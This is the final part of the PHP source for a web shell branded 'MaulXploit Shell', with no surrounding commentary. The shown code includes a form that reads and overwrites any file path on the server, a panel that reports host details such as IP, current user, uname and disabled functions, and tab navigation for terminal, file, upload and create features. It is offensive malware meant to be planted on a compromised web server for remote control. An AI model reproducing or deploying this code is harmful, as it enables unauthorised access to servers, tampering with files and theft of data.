<span style="font-size:0.8em;color:var(--text-secondary);font-family:monospace;"><?= htmlspecialchars($edit_file) ?></span>
<?php endif; ?>
</div>
<div class="card-body">
<form method="POST">
<input type="text" name="mx_edit_file" value="<?= htmlspecialchars($edit_file ?? '') ?>" placeholder="File path..." style="margin-bottom:14px;">
<textarea name="mx_edit_content" rows="20" style="margin-bottom:14px;"><?= isset($edit_file) && is_file($edit_file) ? htmlspecialchars(file_get_contents($edit_file)) : '' ?></textarea>
<div style="display:flex;gap:10px;">
<button type="submit" class="btn btn-primary">Save Changes</button>
<button type="reset" class="btn btn-secondary">Reset</button>
</div>
</form>
</div>
</div>
</div>
<!-- TAB: INFO -->
<div id="tab-info" class="tab-content hidden">
<div class="card">
<div class="card-header">
<div style="display:flex;align-items:center;gap:10px;">
<div class="card-icon" style="background:rgba(161,161,170,0.1);color:var(--text-secondary);"><i class="fa-solid fa-circle-info"></i></div>
System Information
</div>
</div>
<div class="card-body">
<div class="terminal-body" style="max-height:600px;">
<pre style="color:#a0a0a0;white-space:pre-wrap;"><?php
echo "═══════════════════════════════════\n";
echo " MaulXploit Shell\n";
echo "═══════════════════════════════════\n\n";
echo "Server IP : $server_ip\n";
echo "Server Software: $server_software\n";
echo "PHP Version : $php_version\n";
echo "OS : " . PHP_OS . "\n";
echo "Hostname : $hostname\n";
echo "Current User : $whoami\n";
echo "Current Dir : $cwd\n";
echo "Total Space : $total_space\n";
echo "Free Space : $free_space\n";
echo "Uname : $uname\n";
echo "Disabled Funcs : $disabled_funcs\n\n";
echo "Loaded Extensions:\n";
$exts = get_loaded_extensions();
foreach ($exts as $i => $e) { echo " " . str_pad($e, 25); if (($i+1) % 3 == 0) echo "\n"; }
echo "\n\n═══════════════════════════════════\n";
?></pre>
</div>
</div>
</div>
</div>
</div>
</main>
<?php endif; ?>
<script>
function showTab(name) {
document.querySelectorAll('.sidebar-nav .nav-item').forEach(n => n.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(t => t.classList.add('hidden'));
var tabMap = {
'terminal': 'tab-terminal',
'files': 'tab-files',
'upload': 'tab-upload',
'create': 'tab-create',
'info': 'tab-info'
};
var tabId = tabMap[name];
if (tabId) document.getElementById(tabId).classList.remove('hidden');
// Highlight nav
var navItem = document.querySelector(`.nav-item[onclick="showTab('${name}')"]`);
if (navItem) navItem.classList.add('active');
// Show edit tab if edit_file is set
if (name === 'edit') {
document.getElementById('tab-edit-section').classList.remove('hidden');
var editItem = document.querySelector(`.nav-item[onclick="showTab('edit')"]`);
if (editItem) editItem.classList.add('active');
}
}
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
if (e.ctrlKey || e.metaKey) {
switch(e.key) {
case '1': showTab('terminal'); e.preventDefault(); break;
case '2': showTab('files'); e.preventDefault(); break;
case '3': showTab('upload'); e.preventDefault(); break;
case '4': showTab('create'); e.preventDefault(); break;
case '5': showTab('info'); e.preventDefault(); break;
}
}
});
<?php if ($auth && isset($edit_file)): ?>
showTab('edit');
<?php endif; ?>
</script>
</body>
</html>
```